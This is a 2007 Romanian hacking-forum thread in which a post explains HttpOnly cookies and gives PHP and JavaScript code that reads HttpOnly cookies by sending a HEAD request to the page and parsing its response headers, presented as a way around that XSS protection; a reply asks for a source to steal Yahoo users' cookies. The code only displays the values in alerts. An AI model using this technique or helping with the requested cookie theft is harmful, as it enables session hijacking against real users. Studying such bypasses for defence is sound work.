SlicK Posted May 2, 2007 Report Posted May 2, 2007 Cookie'uri HTTP-onlyAutor: SlicKData: 2 Mai 2007Vulnerabilitatile XSS sunt deseori folosite de catre atacatori pentru a fura cookie-urileutilizatorilor legitimi. Un mod clasic este accesarea variabilei "document.cookie" folosindanumite scripturi javascript.Incepand cu Internet Explorer 6 sp1, Microsoft a implementat o metoda prin care poate fiimpiedicat acest tip de atac. Aceasta metoda foloseste parametrul "HttpOnly" la setarea unuicookie in headers astfel:"Set-Cookie: NumeCookie:valoare; expires=Wednesday, 10-Oct-07 23:12:40 GMT; HttpOnly"Cuvantul cheie "HttpOnly" instruieste browserul utilizatorului sa impiedice accesarea cookiului(document.cookie)prin intermediului scripturilor client-side.In continuare voi prezenta o metoda prin care un script javascript poate accesa acel cookieascuns prin trimiterea de requesturi raw la pagina si citirea headerelor.Codul care urmeaza este un script PHP care arata diferenta dintre cele 2 tipuri de cookie'urisi cum poat fi citite cookie'urile HTTP-only=====================<?php // setam un cookie normal care poate fi gasit in "document.cookie" header("Set-Cookie: CookieNormal=valoareA; expires=Wednesday, 10-Oct-08 23:12:40 GMT"); // setam un cookie ascuns header("Set-Cookie: CookieAscuns=valoareB; expires=Wednesday, 10-Oct-08 23:12:40 GMT; HttpOnly");?><script language="Javascript" type="text/javascript">// functia care extrage cookiul ascuns din headerefunction unHideCookie(){ var xhr=new XMLHttpRequest(); // creem obiectul xhr.open("HEAD",document.location,true); // setam un request HEAD catre aceeasi pagina xhr.send(null); //trimitem requestul xhr.onreadystatechange=function() { if(xhr.readyState==4) { if(xhr.status==200) // daca primim raspunsul corect { var hidden=""; var headers=xhr.getAllResponseHeaders().split("\n"); // citim toate hedearele si le stocam pe fiecare in cate un element al variabilei for(i=0;i<headers.length;i++) { var header=headers[i].toLowerCase(); // indexOf este case sensitive if(header.indexOf("httponly")>0) // atunci cand gasim un cookie ascuns { var cookie=headers[i].substring(headers[i].indexOf(" ")+1,headers[i].indexOf(";")+1); // extragem "nume=valoare;" hidden=hidden+cookie+" "; // adaugam cookiul extras } } //folosim cookie'urile stocate in variabila "hidden" alert("Cookie Ascuns: "+hidden); } } }}alert("document.cookie: "+document.cookie); // afisam cookiurile vizibileunHideCookie(); // afisam cookiurile ascunse</script>=====================Metoda HTTP-only de ascundere a cookiurilor fata de scripturile client-side este utilizata momentan doar de Internet Explorer dar pe viitor va fi implementata si de alte browsere.Copywright 2007 rstzone.net Quote
petra45 Posted June 6, 2007 Report Posted June 6, 2007 ma poti ajuta si pe mine cu un link din acesta ? sau o sursa ceva pentru a fura cookiurile de la yahoo ? Quote